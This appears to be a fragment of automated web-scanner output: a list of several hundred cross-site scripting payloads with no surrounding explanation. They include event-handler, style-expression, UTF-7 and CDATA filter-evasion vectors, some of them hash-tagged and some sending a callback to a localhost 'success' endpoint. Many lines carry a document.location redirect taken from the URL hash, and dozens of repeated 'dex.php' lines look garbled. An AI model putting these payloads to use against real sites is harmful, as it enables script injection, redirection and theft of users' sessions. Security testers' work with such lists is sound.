      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\">eaaae55c852663b7af48ca2fc03267b4\n",
      "\"><SCRIPT>alert('3d7b5da962f5a89cf168135c0ecaac1d')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"99fa2d116920398783abb638e1b64bda\">\n",
      "</TITLE>812fdc18476566bce75da7f213ba0277\n",
      "'';!--\"<20f70ed0eac316d315ad79b37864cf44>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=a329cbc8b2d726e86f08c97bcb9ce5b2>\n",
      "'';!--\"<b3a62921d84b26e665295bdb50e56776>=&{()}\"\n",
      "<IMG SRC=\"92730050be11477bfa3505db100dbebd\">\n",
      "<IMG SRC=59c7d51bcd68ef3ae5847b797b50cc73>\n",
      "<IMG SRC=`93af3f8f3a33bc18c593e9869d44d32a`>\n",
      "<IMG \"\"\">8838467c388e7df1e3ddcec898dab0d7\">\n",
      "<IMG SRC=\" &#14;  3c77f71783d201c1d353cdc32ace0647\">\n",
      "<DIV STYLE=\"behaviour: url(11a9c5e72587cdb34300d9455fa5e313);\">\n",
      "<<SCRIPT>9841ac4a90eb2b44a266f7a11580061e//<</SCRIPT>\n",
      "\";209fcd38867b6f0925738f95d3d8ce34//\n",
      "<IMG SRC='75d004fa5dee67ccd4b888022edb1bb1'\n",
      "<BODY BACKGROUND=\"7b506692652bdbe4d5f58db14d217baa\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"a06d0ae4e8117fe4b953ce405c123e4b\">\n",
      "<BODY ONLOAD=24ba58837f2ab9ce6abd5e14e8111fa2>\n",
      "<IMG DYNSRC=\"98582fc2ca1e40b2d8fb09b04ffce77f\">\n",
      "<IMG LOWSRC=\"4694011cbe2a5e8e6939a0dab096d4d6\">\n",
      "<BGSOUND SRC=\"896c9f1662d6f700a91cce382a08320c\">\n",
      "<BR SIZE=\"&{72e0d61ae3f1d73fd10cf709a61a2fa9}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"c7b64ca6dcca43c75b32a587d0c4f50e\">\n",
      "<IMG SRC='vbscript:e0546e9b1b7a301670dbd87e2066f566'>\n",
      "<IMG SRC=\"mocha:[f853790053f9281bcbe86e7a4c11b80f]\">\n",
      "<IMG SRC=\"livescript:[f9a3fc5cd2191e4085b9571ce3e200b3]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=662203d3448cf45136329ce16cf8bb43\">\n",
      "<TABLE BACKGROUND=\"017574610601d122b6583c52c1751936\">\n",
      "<TABLE BACKGROUND=javascript:f86540a29698d59a67946d095f75c650>\n",
      "<TABLE><TD BACKGROUND=\"12805cb0e1d9374b996fba0deaacc50b\">\n",
      "<DIV STYLE=\"background-image: url(b62ffe75afaf764dc27cdb584199c127);\">\n",
      "<IFRAME SRC=\"d8adf360de6eb5468e2b6fcf7b462577\"></IFRAME>\n",
      "<DIV STYLE=\"width: expression(4ca67434aefc259a6dbba3551d9c6dac);\">\n",
      "<iframe/ /onload=f7b82ec7523492923c510bc1aa0c57ab></iframe>\n",
      "<iframe/ \"onload=bc55695330a99b0453a0889be9a6976d></iframe>\n",
      "<iframe///////onload=ea92f170aff1b14d60e1b8a22409b5c4></iframe>\n",
      "<iframe \"onload=9c1f2fdb26083e9ddde39002e0727f9f></iframe>\n",
      "<iframe/ \"onload=fa4cc81f0a38422be2556b1c731cb058></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=c200a0aab17b451f289195230bbdaa4d></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=a0a438cc97160d5e5c32e90e71d38297></iframe>\n",
      "<FRAMESET><FRAME SRC=\"319c3663826933a4bc46cf4308fbf308\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"1a8f1cb6df02ab7d720bbc9b8405e331\">\n",
      "<TABLE><TD BACKGROUND=\"26be0c143d5c5b1df50b48d87ddc1442\">\n",
      "<DIV STYLE=\"background-image: url(&#1;97f04e5fe868ad95625832461f6b653e)\">\n",
      "<IMG STYLE=\"xss:expr/*3e07436c51921d5bfe88677c7c03f1af*/ession(3e07436c51921d5bfe88677c7c03f1af)\">\n",
      "<DIV STYLE=\"width: expression(c572ffd1c0bd9c471636e81f811481b7);\">\n",
      "<STYLE TYPE=\"text/javascript\">cb275fda213f546971f32bc683dddcf4</STYLE>\n",
      "<9e5ff8b2a796564101a6d65e6acee023 STYLE=\"xss:expression(9e5ff8b2a796564101a6d65e6acee023)\">\n",
      "<STYLE>.8885fea5a964552e947667b1fca873c6{background-image:url(\"8885fea5a964552e947667b1fca873c6\");}</STYLE><A CLASS=8885fea5a964552e947667b1fca873c6></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"5cee566e2e926918f17190c2554c2421\")}</STYLE>\n",
      "<!--[if gte IE 4]>fea74bc991dca3f5bdbb0fb93ea536bd<![endif]-->\n",
      "<BASE HREF=\"a262666fe3981a61e9df2409fa816e08//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=28d9b64fa636cbf90bdf311fd3773dd1></OBJECT>\n",
      "<? echo('<SCR)';echo('IPT>d796f7f6e62aaf61edd01a295fad2f18</SCRIPT>'); ?>\n",
      "<SCRIPT SRC=http://127.0.0.1>90de14d34baf54ee278526cd36e7f63e</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:1a9c3c05a431d28be6dafb64e9eeec8a\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"2201201ac45f7235707ae92599a5392d\")\";eval(a+b+c+d);\n",
      "<IMG SRC=\"jav&#x0D;ascript:0919299eeeb00d3ac9c74177e26fd03d\">\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;e17b498f98bdb676832c6b21f35106ef&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT>a=/3d49815ffa5224ac2c4a506302ad4b5c/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\"23a15bedf6b26f75d89780e4c8ff0ff5\"\n",
      "--- <IMG SRC=\" &#14;  9aa5c2c594edcf56c13b11e202ddf866\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=e9dbdbad39207711682455b3f778da23\">\n",
      "--- \";373cbf27fecc718b71c3ffe0cae2581b;//\n",
      "<IFRAME SRC=\"javascript:b617e19325dc59972f889229e13aff20 <\n",
      "<SCRIPT <B>=76dd2ea4f29739bcab1f61da74efd584\"></SCRIPT>\n",
      "<SCRIPT>a=/b96a1f5f89f90b89578ba529c5c80fe7/nb96a1f5f89f90b89578ba529c5c80fe7</SCRIPT>\n",
      "<LAYER SRC=\"javascript:6ecdff844cff26bd69425f279ba7b198></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"990ec64efa6837c0a971c3930fff4db9</STYLE><UL><LI>990ec64efa6837c0a971c3930fff4db9\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:d616d2262d269d3d1b65448c4d07164d\">\n",
      "<a href=\"javascript#1380a9dff854f2d6e2899405c580a030\">\n",
      "<input type=\"image\" dynsrc=\"4081e771bedc52e86120703d7dd83fdf\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-d3bf796edc6c3becab6669e19c8e098d+ADw-/SCRIPT+AD4-\n",
      "&8fd88f547c5ef8ddfe9206acf0cccf98\">\n",
      "&{dd2c27f25bd673e75beee702a32001d5};\n",
      "<a href=\"about:b2f00bd08fc3248154e5b8da554d81a9\">\n",
      "<IMG SRC=&{6435120968bb34d868c014947790c251};>\n",
      "<DIV STYLE=\"binding: url(javascript:64a55e608644052d23c8fc0b5e7298df);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:78630ac5d1c838d1a9b32c471f15e3ad\">\n",
      "<style><!--</style><SCRIPT>8ab99c501feb6d8a27e7b8f8416b77a0//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>02e442841cd65a3aec66586f110f9d0e//--></SCRIPT>\n",
      "<!-- -- -->a1a8c75398ae090ee135bd4a704aa994<!-- -- -->\n",
      "<xml id=\"X\"><a><b>3ecc093e3d9bcd84817ef9c91aaf4fea;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#d9a2e66e5eb168563c6c7355b04103c4\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:162708bcbe21c0714d80d557709f363e\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:60dc13b846d81d8229c02bf335e6e517\">X\n",
      "<textarea onfocus=javascript:56529a786401783c3dae1fad2d4a768b autofocus>\n",
      "<select onfocus=javascript:af619af8d04095718779e040fd75bc79 autofocus>\n",
      "<input onfocus=javascript:1724a048c54c96ac9ad4524fdb754751 autofocus>\n",
      "<keygen onfocus=javascript:14a07b843c5148bc530c0559c6e0d0d8 autofocus>\n",
      "<input onblur=javascript:bbcbba2a6c6e3a2288382ca58797d185 autofocus><input autofocus>\n",
      "<video poster=javascript:554841ebe66d595a1c53d5adb969ba5b//\n",
      "<body onscroll=a9139f58098bb1733d839f71bc043714><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:ff4201d9e69c93f274fc011753063468><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:c9a5d0839888e20b67a05a307d1f0947>X\n",
      "<video><source onerror=\"javascript:9ec9bc6054140d63de7c6c406a63f4ac\">\n",
      "<video onerror=\"javascript:38f2858b942470927ad39ebec181b550\"><source>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/3d7b5da962f5a89cf168135c0ecaac1d')</SCRIPT>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC=http://localhost:19084/success/59c7d51bcd68ef3ae5847b797b50cc73>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<IMG SRC='http://localhost:19084/success/75d004fa5dee67ccd4b888022edb1bb1'\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/5cee566e2e926918f17190c2554c2421\")}</STYLE>\n",
      "<IMG SRC=\"http://localhost:19084/success/92730050be11477bfa3505db100dbebd\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/99fa2d116920398783abb638e1b64bda\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/f853790053f9281bcbe86e7a4c11b80f]\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/4694011cbe2a5e8e6939a0dab096d4d6\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/7b506692652bdbe4d5f58db14d217baa\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<IMG SRC=`http://localhost:19084/success/93af3f8f3a33bc18c593e9869d44d32a`>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/8885fea5a964552e947667b1fca873c6\");}</STYLE><A CLASS=XSS></A>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/98582fc2ca1e40b2d8fb09b04ffce77f\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/896c9f1662d6f700a91cce382a08320c\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/c7b64ca6dcca43c75b32a587d0c4f50e\">\n",
      "\">41997851f3487a291db08cfb217c8084\n",
      "</TITLE>9f1db2dc9999b51ef8381b6200d9e4a1\n",
      "'';!--\"<b63f50c22050be5d6c1a481f0c6f180b>=&{()}\"\n",
      "\"><SCRIPT>alert('f6f1612e5cf287494a01e43b93245265')</SCRIPT>\n",
      "'';!--\"<fe8841dbb7596d39ba91846e3f6aca4d>=&{()}\"\n",
      "<IMG SRC=\"46f866e11c3eae3a76969da52c6633ce\">\n",
      "\"><img src=\"x:x\" onerror=\"abaf7e271eaeab7543af83f1804fd7c4\">\n",
      "<IMG SRC=51e8275bbed598c6561c2f0a70d4fadb>\n",
      "<IMG SRC=`6f7768db48be4e8277cdeecf5f3f3648`>\n",
      "<IMG \"\"\">bad38ed0ca33695b3c2a288beb0d4465\">\n",
      "<IMG SRC=\" &#14;  e067d96b02624c9dd1dfa7e69ee9f029\">\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=4dd40b21e67bb320af82e3ef685c6dfd>\n",
      "<DIV STYLE=\"behaviour: url(2c58b7f67b1f158a493f957c1ca294ed);\">\n",
      "<<SCRIPT>7c1e7e1d82b0b7a41b30ebf95d594fb8//<</SCRIPT>\n",
      "\";603ec3d8e456c942bb206b06d1f7ded8//\n",
      "<IMG SRC='9c928d205ad3dc7b130bd95e7e1674f9'\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"8707870f4d3fa8b8722fc70e298dc119\">\n",
      "<BODY BACKGROUND=\"27c56866376cbdde7e17c93004466989\">\n",
      "<BODY ONLOAD=2ebaaa9636eda802880db4477d05e9b3>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/a06d0ae4e8117fe4b953ce405c123e4b\">\n",
      "<IMG DYNSRC=\"2850db3b4217d5a17d961a8e5512e787\">\n",
      "<IMG LOWSRC=\"2b9c08cafe67d9bfe661925f367ffe30\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"914a88bca98ceb19e678428584c87142\">\n",
      "<BR SIZE=\"&{efbee275f67895e8bce1e32e65fabfdc}\">\n",
      "<IMG SRC=\"mocha:[183c4de75d5c003ede20139e4db85868]\">\n",
      "<BGSOUND SRC=\"38169b3f0b84baf01c5ac6c2ce2412a9\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/12805cb0e1d9374b996fba0deaacc50b\">\n",
      "<IMG SRC='vbscript:93ab4ff96ecdc9e4dd4308fec20f1c9c'>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=afa4bb099099151fea9c16f759dfdcbb\">\n",
      "<IMG SRC=\"livescript:[a94237543576765320e2a2ed3cb1dc31]\">\n",
      "<TABLE BACKGROUND=\"0325531d7c96efe30963bf8a1f03b52d\">\n",
      "<TABLE BACKGROUND=javascript:4e06ee42c83e4959111d8dda6a58d768>\n",
      "<DIV STYLE=\"background-image: url(d5de0c4f722be50fe6ecb7088586a3a6);\">\n",
      "<TABLE><TD BACKGROUND=\"8a2c997338b985382f2a8262985f5df5\">\n",
      "<IFRAME SRC=\"040499c450213c617a4e11aaf7abc354\"></IFRAME>\n",
      "<DIV STYLE=\"width: expression(7577fd4b9096f2edd843678c7a86af44);\">\n",
      "<iframe/ /onload=95339036b78692c955c1d6125cc7eced></iframe>\n",
      "<iframe/ \"onload=ac1b9a8e53d48962583597500854897b></iframe>\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/e0546e9b1b7a301670dbd87e2066f566'>\n",
      "<iframe \"onload=3a5ef54f6a61adb9da8ee645b9734576></iframe>\n",
      "<iframe///////onload=6c61709ca7d839b24fd73930a07be268></iframe>\n",
      "<iframe/ \"onload=7a738c295f256365efc8e85193dbf6e6></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=2f8ebe4d8a3c84013a962778a18189f9></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=ebf168aeb5b62885f6451e588d8572cf></iframe>\n",
      "<FRAMESET><FRAME SRC=\"b163d827c10b3de343266dc6e76e1f6c\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"d52d4a7c179044ee6bdd921b2a39431a\">\n",
      "<TABLE><TD BACKGROUND=\"fcf53c3130be775eb56351b8af9b9398\">\n",
      "<DIV STYLE=\"background-image: url(&#1;6f3268d2e6b581f3017ae58b8719eba3)\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<DIV STYLE=\"width: expression(749c902765e467e38dd1a3555177f294);\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/d8adf360de6eb5468e2b6fcf7b462577\"></IFRAME>\n",
      "<IMG STYLE=\"xss:expr/*37759d78c8f309566df77601a133b28a*/ession(37759d78c8f309566df77601a133b28a)\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/f9a3fc5cd2191e4085b9571ce3e200b3]\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<549f6d87b2de0f8816ef5ea503317ad9 STYLE=\"xss:expression(549f6d87b2de0f8816ef5ea503317ad9)\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/017574610601d122b6583c52c1751936\">\n",
      "<STYLE TYPE=\"text/javascript\">1b99e0d210534c3d8cdf35ab93bd232c</STYLE>\n",
      "<STYLE>.f524be0cf7c2d1a4470087330b6864bb{background-image:url(\"f524be0cf7c2d1a4470087330b6864bb\");}</STYLE><A CLASS=f524be0cf7c2d1a4470087330b6864bb></A>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"f4bda6f044c64dfe821df7f0916aa772\")}</STYLE>\n",
      "<!--[if gte IE 4]>2c3bec6b6618607629d743e5ff352f70<![endif]-->\n",
      "<BASE HREF=\"48804bb086f42077bdc8f3cb5e619113//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=6a0432598b009ce37775f619726c5295></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"b136982a293df7e77e629b5344bd2bfb\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>d3fd4fc299d50d3be95b583b7bf046e5</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;c5237fc14d923dfff4a14d40299e1f04&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:827150cf06d2fcf7abd018254b19bc7e\">\n",
      "<SCRIPT SRC=http://127.0.0.1>f19c0837ac0b1c2f328cfc4a4cc6d64d</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:652ae87c0370aff8d6987aae85f949c9\">\n",
      "--- <IMG SRC=\" &#14;  9a15ee42f717f1642783f57727471946\">\n",
      "--- <IMG SRC=\"db0a14783087040fcccc0e84fc681514\"\n",
      "<SCRIPT>a=/0ac84ff2e7edf51de9af3c99ec3e1dbe/alert(a.source)</SCRIPT>\n",
      "--- \";2656ae5bbf80ec3068da49b54f1f63b2;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=540a6bb3d91b17f9638c1c0ff47eea2f\">\n",
      "<SCRIPT <B>=64616bd6d35aa872a44f2f4b72ab6378\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:1ab266930b63a17736321bcdbde595ae <\n",
      "<SCRIPT>a=/f27526de7a850c5615d3627dcd8c22c5/nf27526de7a850c5615d3627dcd8c22c5</SCRIPT>\n",
      "<LAYER SRC=\"javascript:a01a08264d15eeb8fd5bc0dff2dcd3f9></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"43564459fef80a9d411ca0d68b1132c3</STYLE><UL><LI>43564459fef80a9d411ca0d68b1132c3\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:17141c09f4f40e0a0c1fba349a1339c2\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-0487ff2539cca99c951f14b9bc5acef4+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#63fb823b4851716f42c64f73b56ea601\">\n",
      "&53f660bbab6e4a46e2b4eea26eca9028\">\n",
      "<input type=\"image\" dynsrc=\"e2907a14f9033bdcf9cbdf9ed772bb4d\">\n",
      "&{2da83eae8dfd6795e28962d7a36af39b};\n",
      "<IMG SRC=&{0c626cd90785693d0fb399aebc039eee};>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:1c6e032d3f1c5ca6b3e63d461d532bcb\">\n",
      "<DIV STYLE=\"binding: url(javascript:58a16acac138edca93385d4aa5fa4fdc);\">\n",
      "<a href=\"about:58b3a95c88bc6f1037eed492a92f0559\">\n",
      "<style><!--</style><SCRIPT>27cda2a7539d48cbffffcd2986b3c307//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>cd45ab1a16bb43690369223f3b29b71f//--></SCRIPT>\n",
      "<!-- -- -->135c64309b29295ba468ec152f803a95<!-- -- -->\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<xml id=\"X\"><a><b>3b90e9407222dc82f32a27ddc733b6c1;<b></a></xml>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#d29d8f89ca1a4bd600680ef35700e074\"></div>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/1a8f1cb6df02ab7d720bbc9b8405e331\">\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:9afa67edbf0d10dc999fa56040198047\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:b030290e6dd7ec9b7000dc06282d40ad\">X\n",
      "<textarea onfocus=javascript:31491e7633797c4a0c887dc35debb291 autofocus>\n",
      "<select onfocus=javascript:dc8d0d72ce7b4b1292cdd6cbfce2bc10 autofocus>\n",
      "<input onfocus=javascript:257a286cd67b958356fe3298c754732f autofocus>\n",
      "<input onblur=javascript:f1db875809277c9391ce58fb0e035f3d autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:f72f870f56fe286662ee41cac6d3fec8 autofocus>\n",
      "X<form id=test onforminput=javascript:a0562e7f0a037032c8de867de24375f2><input></form>\n",
      "<video poster=javascript:ba4c18a118967b98e66be8e250e677f5//\n",
      "<body onscroll=acd389d6d1c250198f1b38231b5842a7><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:4569536e4f472fc5cad1f34df22df967>X\n",
      "<video><source onerror=\"javascript:ff5755970a729f6d9b7d5f1eeccedf39\">\n",
      "<video onerror=\"javascript:fe25fe6b7820679706e66bf28c7ec4eb\"><source>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/319c3663826933a4bc46cf4308fbf308\"></FRAMESET>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/26be0c143d5c5b1df50b48d87ddc1442\">\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/90de14d34baf54ee278526cd36e7f63e</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/4081e771bedc52e86120703d7dd83fdf\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/2201201ac45f7235707ae92599a5392d\")\";eval(a+b+c+d);\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/23a15bedf6b26f75d89780e4c8ff0ff5\"\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/162708bcbe21c0714d80d557709f363e\">]]</C><X></xml>\n",
